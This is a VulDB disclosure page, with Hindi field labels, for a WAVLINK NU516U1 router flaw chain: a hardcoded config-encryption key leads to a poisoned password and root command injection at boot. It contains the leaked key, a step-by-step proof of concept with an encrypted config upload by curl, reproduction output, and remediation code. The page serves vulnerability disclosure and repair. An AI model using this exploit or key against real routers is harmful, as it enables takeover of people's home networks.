| शीर्षक | WAVLINK WL-NU516U1 2026-05-15 (build 708c073-mt7628) Command Injection |
|---|
| विवरण | # WAVLINK NU516U1: Config Import to Boot-time RCE via Poisoned Password with Hardcoded Encryption Key
## Summary
WAVLINK NU516U1 has a critical vulnerability chain in its configuration backup/restore mechanism. The config import flow uses a hardcoded AES-256-CBC key (`dnpdlqmfldlzm#625`) to decrypt uploaded settings, then extracts the contents via `tar` and copies them directly to `/etc/config/` without validation. An attacker can craft an encrypted config archive containing a poisoned `Password` field with a shell command substitution payload. After the device reboots (triggered automatically by the import), the `adm.cgi init` handler reads the password back and passes it unsanitized into a `sprintf()` → `system()` call inside double quotes, executing the injected command as root.
This chains three weaknesses: a hardcoded encryption key (CWE-321), arbitrary config file overwrite (CWE-22), and OS command injection via stored data (CWE-78).
## Affected Versions
WAVLINK NU516U1 firmware version 2026-05-15 (build 708c073-mt7628)
## Vulnerability Details
### Root Cause: Hardcoded key + unvalidated config import + unsanitized system() call
**Stage 1 — Config import** (`upload_settings.cgi` + `/bin/loadallsetting.sh`):
`upload_settings.c` lines 67-75:
```c
fread(buf, 1, size, stdin); // read uploaded file
fwrite(buf, 1, size, file); // write to /var/tmpSettings
// ...
system("loadallsetting.sh"); // decrypt and apply
```
`/bin/loadallsetting.sh` lines 3-22:
```bash
password=dnpdlqmfldlzm#625 # hardcoded AES key (line 3)
openssl enc -aes-256-cbc -k $password -d \
-in /var/tmpSettings -out /tmp/tmpSettings.tar # decrypt (line 10)
tar -xvf /tmp/tmpSettings.tar # extract (line 12)
cp /tmp/backup_dir/config/* /etc/config/ -rf # overwrite all config (line 19)
reboot # reboot (line 22)
```
**Stage 2 — Boot-time trigger** (`adm.cgi` init handler, `adm.c` lines 2386-2405):
```c
wlink_uci_get_value("winstar","system","Password", &local_30, 0x10); // read password (line 2386)
sprintf(acStack_c0, "echo \"%s:%s\" > /etc/lighttpd.user",
&local_20, &local_30); // inject into double-quoted string (line 2404)
system(acStack_c0); // execute (line 2405)
// With Password = $(id>/tmp/c), the command becomes:
// system("echo \"admin2860:$(id>/tmp/c)\" > /etc/lighttpd.user")
// Shell evaluates $(id>/tmp/c) inside double quotes → RCE
```
### Attack Chain
- Attacker creates a config archive with `Password` set to `$(id>/tmp/c)` (13 chars, fits the 16-byte UCI read limit)
- Attacker encrypts it with the hardcoded key `dnpdlqmfldlzm#625`
- Attacker uploads the encrypted payload to `/cgi-bin/upload_settings.cgi`
- The device decrypts, extracts, overwrites `/etc/config/winstar`, and reboots
- On reboot, `adm.cgi init` reads the poisoned password and passes it to `system()` via `sprintf()` inside double quotes
- `$(id>/tmp/c)` is evaluated by the shell — command executes as `uid=0(root)`
## Proof of Concept
```bash
# Step 1: Create malicious config with command injection payload
mkdir -p /tmp/backup_dir/config
cat > /tmp/backup_dir/config/winstar << 'EOF'
config system 'system'
option Login 'admin2860'
option Password '$(id>/tmp/c)'
option UserInit '12'
option MeshMode '0'
option Model 'NU516U1'
EOF
# Step 2: Package and encrypt with the hardcoded key
cd /tmp && tar cf payload.tar backup_dir/
openssl enc -aes-256-cbc -k "dnpdlqmfldlzm#625" -e \
-in payload.tar -out payload.enc -md md5
# Step 3: Upload to the target (triggers decrypt + config overwrite + reboot)
curl -X POST http://192.168.10.1/cgi-bin/upload_settings.cgi \
-H "Referer: http://192.168.10.1/" \
-H "Cookie: session=VALID_SESSION" \
-F "[email protected];filename=settings.dat"
# Expected: device reboots, /tmp/c created with "uid=0(root) gid=0(root) groups=0(root)"
```
### Reproduction Result
```
/root/squashfs-root/var/tmpSettings: 10435 bytes
VAR_FILE_WRITTEN=YES
RCE: /tmp/c = uid=0(root) gid=0(root) groups=0(root)
```
## Impact
An attacker on the local network (or remote via CSRF) can:
- Achieve persistent root code execution that triggers on every boot
- Overwrite all router configuration including WiFi, firewall, and DNS settings
- Install persistent backdoors that survive normal reboots (config is stored in flash)
- Extract credentials from existing config backups using the same hardcoded key
- Combine with CSRF referer bypass for remote, drive-by exploitation
## Suggested Remediation
```bash
# 1. Replace hardcoded key with per-device key derived from hardware identity
password=$(cat /sys/class/net/eth0/address | sha256sum | cut -d' ' -f1)
# 2. Validate config contents after extraction
# loadallsetting.sh — sanitize Password before writing to config
password_value=$(uci -c /tmp/backup_dir/config get winstar.system.Password 2>/dev/null)
if echo "$password_value" | grep -qE '[$`\\]'; then
echo "Invalid password in config backup" >&2
exit 1
fi
```
```c
// 3. adm.c init handler — use execvp instead of system() to avoid shell interpretation
// Replace sprintf+system with direct file write using fopen/fprintf
FILE *f = fopen("/etc/lighttpd.user", "w");
fprintf(f, "%s:%s\n", login, password);
fclose(f);
```
The root fix requires three changes: replace the hardcoded encryption key with a per-device key, validate imported config values for shell metacharacters, and replace the `sprintf` → `system()` pattern with direct file I/O.
|
|---|
| स्रोत | ⚠️ https://github.com/oduoke567/WAVLINK-NU516U1-2026-05-1/blob/main/report.md |
|---|
| उपयोगकर्ता | oduoke (UID 98772) |
|---|
| सबमिशन | 06/06/2026 11:51 AM (2 महीनों पहले) |
|---|
| संयम | 02/08/2026 10:33 PM (2 months later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 385415 [Wavlink WL-NU516U1 708c073-mt7628 Config Import पासवर्ड अधिकार वृद्धि] |
|---|
| अंक | 20 |
|---|